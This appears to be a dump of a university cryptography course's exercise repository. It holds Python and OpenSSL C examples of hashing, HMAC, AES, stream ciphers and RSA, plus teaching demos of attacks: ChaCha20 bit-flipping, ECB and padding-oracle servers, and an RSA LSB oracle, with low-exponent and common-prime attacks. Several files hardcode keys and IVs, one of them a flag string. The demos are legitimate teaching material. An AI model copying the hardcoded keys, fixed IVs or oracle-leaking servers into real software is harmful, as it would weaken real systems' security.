iv = get_random_bytes(AES.block_size) 12 | 13 | cipher = AES.new(aes_key, AES.MODE_CBC, iv) 14 | 15 | f_input = open(sys.argv[1],"rb") 16 | 17 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 18 | 19 | f_output = open(sys.argv[2],"wb") 20 | f_output.write(ciphertext) 21 | 22 | print(iv) 23 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/08.sha256.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | 4 | hash_object = SHA256.new() 5 | hash_object.update(b'Beginning of the message to hash...') 6 | hash_object.update(b'...and some more data') 7 | 8 | print(hash_object.digest()) 9 | print(hash_object.hexdigest()) 10 | 11 | 12 | hash_object = SHA256.new(data=b'First part of the message. ' ) 13 | hash_object.update(b'Second part of the message. ') 14 | hash_object.update(b'Third and last.') 15 | 16 | print(hash_object.digest()) 17 | print(hash_object.hexdigest()) 18 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/09.hash_file_sha3.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | 3 | 4 | hash_gen = SHA3_256.new() 5 | 6 | with open(__file__) as f_input: 7 | hash_gen.update(f_input.read().encode()) 8 | 9 | print(hash_gen.digest()) 10 | print(hash_gen.hexdigest()) 11 | 12 | 13 | hash_gen = SHA3_256.new() 14 | with open(__file__,"rb") as f_input: 15 | hash_gen.update(f_input.read()) 16 | 17 | print(hash_gen.digest()) 18 | print(hash_gen.hexdigest()) 19 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/10.hmac-sha512.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from Crypto.Hash import HMAC, SHA512 4 | from Crypto.Random import get_random_bytes 5 | 6 | msg = b'This is the message to use. Now compute the SHA512-HMAC' 7 | secret = get_random_bytes(32) 8 | hmac_gen = HMAC.new(secret, digestmod=SHA512) 9 | hmac_gen.update(msg[:10]) 10 | hmac_gen.update(msg[10:]) 11 | mac = hmac_gen.hexdigest() 12 | 13 | 14 | #store message and MAC into a JSON data structure 15 | json_dict = {"message": msg.decode(), "MAC":mac} 16 | json_object = json.dumps(json_dict) 17 | print(json_object) 18 | 19 | 20 | 21 | # ASSUMPTION: we have securely exchanged the secret 22 | 23 | b64 = json.loads(json_object) 24 | hmac_ver = HMAC.new(secret, digestmod=SHA512) 25 | hmac_ver.update(b64["message"].encode()) 26 | 27 | try: 28 | hmac_ver.hexverify(b64["MAC"]) 29 | print("The message '%s' is authentic" % msg) 30 | except ValueError: 31 | print("Wrong secret or message.") 32 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/12.key_derivation.py: -------------------------------------------------------------------------------- 1 | from Crypto.Protocol.KDF import scrypt 2 | from Crypto.Random import get_random_bytes 3 | 4 | password = b'W34kpassw0rd!' 5 | salt = get_random_bytes(16) 6 | 7 | # A good choice of parameters (N, r , p) was suggested by Colin Percival in his presentation in 2009: 8 | # http://www.tarsnap.com/scrypt/scrypt-slides.pdf 9 | # ( 2¹⁴, 8, 1 ) for interactive logins (≤100ms) 10 | # ( 2²⁰, 8, 1 ) for file encryption (≤5s) 11 | 12 | key = scrypt(password, salt, 16, N=2**14, r=8, p=1) 13 | print(salt) 14 | 15 | print("This should be secret: " + str(key)) 16 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/13.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/14.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | secret = get_random_bytes(32) 7 | 8 | 9 | blake = hashlib.blake2b(key=secret, digest_size=32) 10 | blake.update(msg) 11 | print("BLAKE = " + blake.hexdigest()) 12 | 13 | #################### 14 | # the sender is computing the HMAC... 15 | mac_factory = hmac.new(secret, msg, hashlib.sha256) 16 | hmac_sha256 = mac_factory.digest() 17 | 18 | print("HMAC-SHA256@SENDER = " + mac_factory.hexdigest()) 19 | 20 | 21 | # the receiver has received msg1 and hmac_sha256... 22 | # then checks the HMAC 23 | msg1 = b'This is the new message' 24 | mac_factory_receiver = hmac.new(secret, msg1, hashlib.sha256) 25 | hmac_sha256_1 = mac_factory_receiver.hexdigest() 26 | print("HMAC-SHA256@RECEIVER= " + hmac_sha256_1) 27 | 28 | if hmac.compare_digest(mac_factory_receiver.digest(), hmac_sha256): 29 | print("HMAC correctly verified: messages are identical") 30 | else: 31 | print("HMAC are different") 32 | -------------------------------------------------------------------------------- /AY2223/OpenSSL/bignum/bignum.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // a newly instantiated BIGNUM is initialized to 0 6 | BIGNUM *b1=BN_new(); 7 | BIGNUM *b2=BN_new(); 8 | BIGNUM *b3=BN_new(); 9 | BN_CTX *ctx=BN_CTX_new(); 10 | 11 | // print after init 12 | BN_print_fp(stdout,b3); 13 | printf("\n"); 14 | 15 | // roughly speaking: word functions mean -> unsigned long 16 | BN_set_word(b1,354); 17 | BN_print_fp(stdout,b1); 18 | printf("\n"); 19 | 20 | BN_set_word(b2,70000000000005); 21 | BN_print_fp(stdout,b2); 22 | printf("\n"); 23 | 24 | // b1 % b2 --> b3 25 | BN_mod(b3,b2,b1,ctx); 26 | 27 | // print in hex format 28 | BN_print_fp(stdout,b3); 29 | printf("\n"); 30 | 31 | 32 | BN_free(b1); 33 | BN_free(b2); 34 | BN_free(b3); 35 | 36 | BN_CTX_free(ctx); 37 | 38 | return 0; 39 | } -------------------------------------------------------------------------------- /AY2223/OpenSSL/bignum/bignum2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 7 | char hex_string[] = "13AAF504E4BC1E62173F87A4378C37B49C8CCFF196CE3F0AD2"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | //creeate from decimal string 11 | BN_dec2bn(&big_number, num_string); 12 | BIGNUM *big_number2 = BN_new(); 13 | BN_hex2bn(&big_number2, hex_string); 14 | 15 | BN_print_fp(stdout,big_number); 16 | printf("\n"); 17 | BN_print_fp(stdout,big_number2); 18 | printf("\n"); 19 | 20 | int res = BN_cmp(big_number2, big_number); 21 | if(res==0) 22 | printf("The big numbers are equal\n"); 23 | else 24 | printf("The big numbers are different\n"); 25 | 26 | char *num_string_after = BN_bn2hex(big_number); 27 | printf("%s\n", num_string_after); 28 | printf("%s\n", BN_bn2dec(big_number)); 29 | 30 | // politely free OpenSSL generated heap structures 31 | OPENSSL_free(num_string_after); 32 | BN_free(big_number); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /AY2223/OpenSSL/dgst/hash1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(){ 7 | 8 | EVP_MD_CTX *md; 9 | 10 | char message[] = "This is the message to hash"; 11 | 12 | 13 | 14 | //EVP_MD_CTX *EVP_MD_CTX_new(void); 15 | md = EVP_MD_CTX_new(); 16 | 17 | //int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); 18 | // int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl); 19 | EVP_DigestInit(md, EVP_sha1()); 20 | 21 | 22 | // int EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d, size_t cnt); 23 | EVP_DigestUpdate(md, message, strlen(message)); 24 | 25 | 26 | unsigned char md_value[20]; 27 | int md_len; 28 | 29 | //int EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s); 30 | EVP_DigestFinal(md, md_value, &md_len); 31 | 32 | // void EVP_MD_CTX_free(EVP_MD_CTX *ctx); 33 | EVP_MD_CTX_free(md); 34 | 35 | printf("The digest is: "); 36 | for(int i = 0; i < md_len; i++) 37 | printf("%02x", md_value[i]); 38 | printf("\n"); 39 | 40 | return 0; 41 | 42 | } -------------------------------------------------------------------------------- /AY2223/OpenSSL/enc/enc1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | 7 | #define ENCRYPT 1 8 | #define DECRYPT 0 9 | 10 | int main() 11 | { 12 | 13 | 14 | unsigned char key[] = "0123456789ABCDEF"; 15 | unsigned char iv[] = "1111111111111111"; 16 | 17 | EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); 18 | EVP_CipherInit(ctx,EVP_aes_128_cbc(), key, iv, ENCRYPT); 19 | 20 | 21 | unsigned char plaintext[] = "This is the plaintext to encrypt."; //len 33 22 | unsigned char ciphertext[48]; 23 | 24 | int update_len, final_len; 25 | int ciphertext_len=0; 26 | 27 | EVP_CipherUpdate(ctx,ciphertext,&update_len,plaintext,strlen(plaintext)); 28 | ciphertext_len+=update_len; 29 | printf("update size: %d\n",ciphertext_len); 30 | 31 | EVP_CipherFinal_ex(ctx,ciphertext+ciphertext_len,&final_len); 32 | ciphertext_len+=final_len; 33 | 34 | EVP_CIPHER_CTX_free(ctx); 35 | 36 | printf("Ciphertext lenght = %d\n", ciphertext_len); 37 | for(int i = 0; i < ciphertext_len; i++) 38 | printf("%02x", ciphertext[i]); 39 | printf("\n"); 40 | 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /AY2223/OpenSSL/rand/rand1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | RAND_load_file("/dev/random", 64); //optional on Linux 10 | RAND_bytes(random_string,MAX); 11 | 12 | printf("Sequence generated: "); 13 | for(int i = 0; i < MAX; i++) 14 | printf("%02x-", random_string[i]); 15 | printf("\n"); 16 | 17 | return 0; 18 | 19 | } -------------------------------------------------------------------------------- /AY2223/OpenSSL/rand/rand2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | if(RAND_load_file("/dev/random", 64) != 64) 10 | fprintf(stderr,"Error with rand init\n"); 11 | 12 | if(!RAND_bytes(random_string,MAX)) 13 | fprintf(stderr,"Error with rand generation\n"); 14 | 15 | 16 | printf("Sequence generated: "); 17 | for(int i = 0; i < MAX; i++) 18 | printf("%02x-", random_string[i]); 19 | printf("\n"); 20 | 21 | return 0; 22 | 23 | } -------------------------------------------------------------------------------- /AY2223/OpenSSL/rand/rand3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX 64 6 | 7 | void handle_errors(){ 8 | ERR_print_errors_fp(stderr); 9 | abort(); 10 | } 11 | 12 | 13 | int main(){ 14 | unsigned char random_string[MAX]; 15 | 16 | if(RAND_load_file("/dev/random", 64) != 64) 17 | handle_errors(); 18 | 19 | if(!RAND_bytes(random_string,MAX)) 20 | handle_errors(); 21 | 22 | printf("Sequence generated: "); 23 | for(int i = 0; i < MAX; i++) 24 | printf("%02x-", random_string[i]); 25 | printf("\n"); 26 | 27 | return 0; 28 | 29 | } -------------------------------------------------------------------------------- /AY2223/Python/attacks/BF/bitflippling_video.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import ChaCha20 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | plaintext = b'This is the message to encrypt but the attacker knows there is a specific sequence of numbers 12345' 7 | #attacker knows that b'1' in a specific position 8 | index = plaintext.index(b'1') 9 | print(index) 10 | 11 | key = get_random_bytes(32) 12 | nonce = get_random_bytes(12) 13 | cipher = ChaCha20.new(key = key, nonce = nonce) 14 | ciphertext = cipher.encrypt(plaintext) 15 | 16 | # ciphertext, index, b'1' 17 | 18 | new_value = b'9' 19 | new_int = ord(new_value) # ASCII code 20 | 21 | mask = ord(b'1') ^ new_int 22 | 23 | edt_ciphertext = bytearray(ciphertext) 24 | edt_ciphertext[index] = ciphertext[index] ^ mask 25 | 26 | # edt_ciphertext is received by the recipient, 27 | 28 | cipher_dec = ChaCha20.new(key=key, nonce=nonce) 29 | decrypted_text = cipher_dec.decrypt(edt_ciphertext) 30 | print(decrypted_text) 31 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/BF/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/BF/mysecrets.py: -------------------------------------------------------------------------------- 1 | bf_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 2 | bf_iv = b'?y\xd5A9\x03Q\x91\xec\xdb\xe2F\xf9 \x92\xf8' -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/__pycache__/myconfig.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2223/Python/attacks/CBCPaddingOracle/__pycache__/myconfig.cpython-310.pyc -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/__pycache__/mydata.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2223/Python/attacks/CBCPaddingOracle/__pycache__/mydata.cpython-310.pyc -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2223/Python/attacks/CBCPaddingOracle/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/helper/gen_ciphertext.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | 5 | from attacks.CBCPaddingOracle.mysecrets import cbc_oracle_key as key 6 | from attacks.CBCPaddingOracle.mydata import cbc_oracle_iv as iv 7 | 8 | cipher = AES.new(key,AES.MODE_CBC,iv) 9 | 10 | # msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 11 | msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 12 | 13 | print(len(msg)) 14 | print(iv) 15 | print(key) 16 | ctxt = cipher.encrypt(pad(msg,AES.block_size)) 17 | print(ctxt) 18 | 19 | cipher2 = AES.new(key,AES.MODE_CBC,iv) 20 | print(cipher2.decrypt(ctxt)) 21 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12346 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/mydata.py: -------------------------------------------------------------------------------- 1 | cbc_oracle_iv = b'\xd9H\xaf\xc9\xa5\xc9"3\x93\xaa\xbd\x87\xa5\x15\x04\xdd' 2 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\x82\xb0d2\x0bm\xc7\xdeX)\xb2\x7f\xb2\xe7I\x14' 3 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbcS\xac\xd9\xb9\xbb\xfaI\x87\xa3E\x8aT8//\xf4\xb0\xa9u\x8c\x0eQ\x1c\x83v\xed\x04`\n\xf7\xcc\x03' 4 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 5 | # cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 6 | cbc_oracle_ciphertext = b'r\x8b\x14\xd6\xae{J\xa0\xe3\x9e\n\x96>\xf9=c\x0f\x16\x9at\x80\ny\xcfD\x08\xe7\xbe\xc1\x8d\x06U\x17J\xb4.\xe1\x9b48R\x8d\xd7\x04\xad\x0b\x7f\xbc\xa3{\xa1\x05_\xd5\xc0\xa4\xa0\xc5\xdaI\x11\xf3\x93\xb4' 7 | 8 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/CBCPaddingOracle/mysecrets.py: -------------------------------------------------------------------------------- 1 | cbc_oracle_key = b'0123456789abcdef0123456789abcdef' -------------------------------------------------------------------------------- /AY2223/Python/attacks/ECB/ECB_ACPA/ECB_ACPAttack_Server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from attacks.ECB.mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | from attacks.ECB.myconfig import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the msg:{0} - and the sec:{1}""".format( input0, ecb_oracle_secret) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/ECB/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | DELTA_PORT = 101 4 | 5 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/ECB/mysecrets.py: -------------------------------------------------------------------------------- 1 | ecb_oracle_secret = "Here's my secret" 2 | ecb_oracle_long_secret = "Here's my very long secret" 3 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 4 | 5 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/RSA Attacks/1.factorDB.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 150 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | print(p1) 9 | print(p2) 10 | 11 | n = p1 * p2 12 | print(n) 13 | 14 | 15 | 16 | f = FactorDB(n) 17 | f.connect() 18 | print(f.get_factor_list()) 19 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/RSA Attacks/3.common_prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from gmpy2 import gcd 3 | 4 | if __name__ == '__main__': 5 | 6 | p1 = getPrime(1024) 7 | p2 = getPrime(1024) 8 | p3 = getPrime(1024) 9 | 10 | n1 = p1 * p2 11 | n2 = p1 * p3 12 | 13 | print(p1) 14 | print(p2) 15 | print(p3) 16 | 17 | 18 | p = gcd(n1,n2) 19 | print("-----------") 20 | print(p) 21 | print(n1 // p) 22 | print(n2 // p) 23 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/RSA Attacks/5.low_public_exponent.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | 4 | #kth root of the number n 5 | def iroot(k, n): 6 | u, s = n, n+1 7 | while u < s: 8 | s = u 9 | t = (k-1) * s + n // pow(s, k-1) 10 | u = t // k 11 | return s 12 | 13 | if __name__ == '__main__': 14 | 15 | rsa_keypair = RSA.generate(2048, e = 3) 16 | e = rsa_keypair.e 17 | # d = rsa_keypair.d 18 | n = rsa_keypair.n 19 | 20 | m = b'This message needs to be encrypted' 21 | m_int = int.from_bytes(m,byteorder='big') 22 | 23 | c = pow(m_int,e,n) 24 | 25 | decrypted_int = iroot(e, c) 26 | print(decrypted_int) 27 | print(decrypted_int.to_bytes(decrypted_int.bit_length() // 8 +1, byteorder='big').decode()) 28 | 29 | dec = pow(c, 1/3) 30 | print(dec) 31 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/LSB_Oracle.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from myconfig import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY2223/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/__pycache__/mysecrets.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2223/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/__pycache__/mysecrets.cpython-310.pyc -------------------------------------------------------------------------------- /AY2223/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/mysecrets.py: -------------------------------------------------------------------------------- 1 | lsb_n = 84512936364028707109792721541348089559038960317411172574310460131821809228801 2 | lsb_d = 33338617022738821809198944565794469679031084241028925158776770023255471009649 3 | lsb_e = 65537 4 | lsb_ciphertext = 40905797042890600077330500098053021483209678644028914795144404253281221960366 5 | lsb_plaintext = 803417515832054223369196934329960786582357242441556610682060160426930292 6 | -------------------------------------------------------------------------------- /AY2223/Python/basics/asymmetric/03_RSA_keygen_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | 5 | private_key = rsa.generate_private_key( 6 | public_exponent=65537, 7 | key_size=2048, 8 | backend=default_backend() 9 | ) 10 | 11 | 12 | pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, # RAW / Traditional OpenSSL 15 | # encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword') 16 | encryption_algorithm=serialization.NoEncryption() 17 | ) 18 | # pem.splitlines()[0] 19 | print(pem) 20 | with open("privatekey.pem", 'wb') as pem_out: 21 | pem_out.write(pem) 22 | 23 | 24 | 25 | public_key = private_key.public_key() 26 | public_pem = public_key.public_bytes( 27 | encoding=serialization.Encoding.PEM, 28 | format=serialization.PublicFormat.SubjectPublicKeyInfo 29 | ) 30 | print(public_pem) 31 | print(public_key.public_numbers()) 32 | print(private_key.private_numbers().p) 33 | print(private_key.private_numbers().q) 34 | print(private_key.private_numbers().d) 35 | 36 | print(private_key.private_numbers().public_numbers.e) 37 | -------------------------------------------------------------------------------- /AY2223/Python/basics/asymmetric/05_RSA_encrypt_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.asymmetric import rsa 2 | from cryptography.hazmat.primitives import constant_time 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives import hashes 7 | 8 | key_file = open("privatekey.pem", "rb") 9 | private_key = serialization.load_pem_private_key( 10 | key_file.read(), 11 | password=None, 12 | backend=default_backend() 13 | ) 14 | 15 | public_key = private_key.public_key() 16 | 17 | message = b"encrypted data" 18 | 19 | ciphertext = public_key.encrypt( 20 | message, 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | 28 | plaintext = private_key.decrypt( 29 | ciphertext, 30 | padding.OAEP( 31 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 32 | algorithm=hashes.SHA256(), 33 | label=None 34 | ) 35 | ) 36 | # plaintext == message 37 | 38 | print(constant_time.bytes_eq(plaintext,message)) 39 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/01.gen_random_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | print(get_random_bytes(40)) 7 | 8 | print(get_random_bytes(AES.block_size)) 9 | 10 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/02.block-AES+padding.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | from Crypto.Util.Padding import pad, unpad 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | 7 | 8 | print(AES.key_size) 9 | print(AES.key_size[2]) 10 | 11 | key = get_random_bytes(AES.key_size[2]) 12 | iv = get_random_bytes(AES.block_size) 13 | 14 | 15 | data = b'These data are to be encrypted!!' # 32 bytes, no need for padding 16 | print(len(data)) 17 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 18 | ct = cipher_enc.encrypt(data) 19 | 20 | print(len(ct)) 21 | 22 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 23 | pt = cipher_dec.decrypt(ct) 24 | print(pt) 25 | 26 | 27 | 28 | 29 | 30 | # encryption + padding 31 | data = b'Unaligned data to cipher' # 24 bytes, will need padding 32 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 33 | padded_data = pad(data,AES.block_size) 34 | print(padded_data) 35 | ct = cipher_enc.encrypt(padded_data) 36 | 37 | #print Base64 38 | print(base64.b64encode(ct).decode()) 39 | 40 | 41 | #decryption + unpadding 42 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 43 | decrypted_data = cipher_dec.decrypt(ct) 44 | print(decrypted_data) 45 | pt = unpad(decrypted_data, AES.block_size) 46 | assert(data == pt) 47 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/03.stream-chacha20.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | 6 | 7 | plaintext = b'This is the secret message to encrypt' 8 | 9 | key = get_random_bytes(ChaCha20.key_size) 10 | 11 | cipher = ChaCha20.new(key=key) #nonce is automatically generated 12 | 13 | # alternative code if you want to select the nonce explicitly 14 | # nonce = get_random_bytes(12) 15 | # cipher = ChaCha20.new(nonce=nonce, secret=secret) 16 | 17 | ciphertext = cipher.encrypt(plaintext) 18 | 19 | print("Ciphertext= "+base64.b64encode(ciphertext).decode()) 20 | print("Nonce= "+base64.b64encode(cipher.nonce).decode()) 21 | 22 | print(sys.getsizeof(plaintext),end=" ") 23 | print(sys.getsizeof(ciphertext)) 24 | print(len(cipher.nonce)) 25 | -------------------------------------------------------------------------------- /AY2223/Python/basics/symmetric/04.stream-salsa_incremental.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | 3 | # these are bytes 4 | key = b'deadbeefdeadbeef' 5 | cipher = Salsa20.new(key) 6 | 7 | #incremental encryption with a stream cipher 8 | ciphertext = cipher.encrypt(b'The first part of the secret message. ') 9 | ciphertext += cipher.encrypt(b'The second part of the message.') 10 | #also the ciphertext is made of bytes 11 | 12 | #print the nonce you will have to share 13 | nonce = cipher.nonce 14 | print(nonce) 15 | 16 | # check: decryption works 17 | cipher2 = Salsa20.new(key,nonce) 18 | plaintext = cipher2.decrypt(ciphertext) 19 | print("Decrypted = "+plaintext.decode("utf-8")) 20 | 21 | 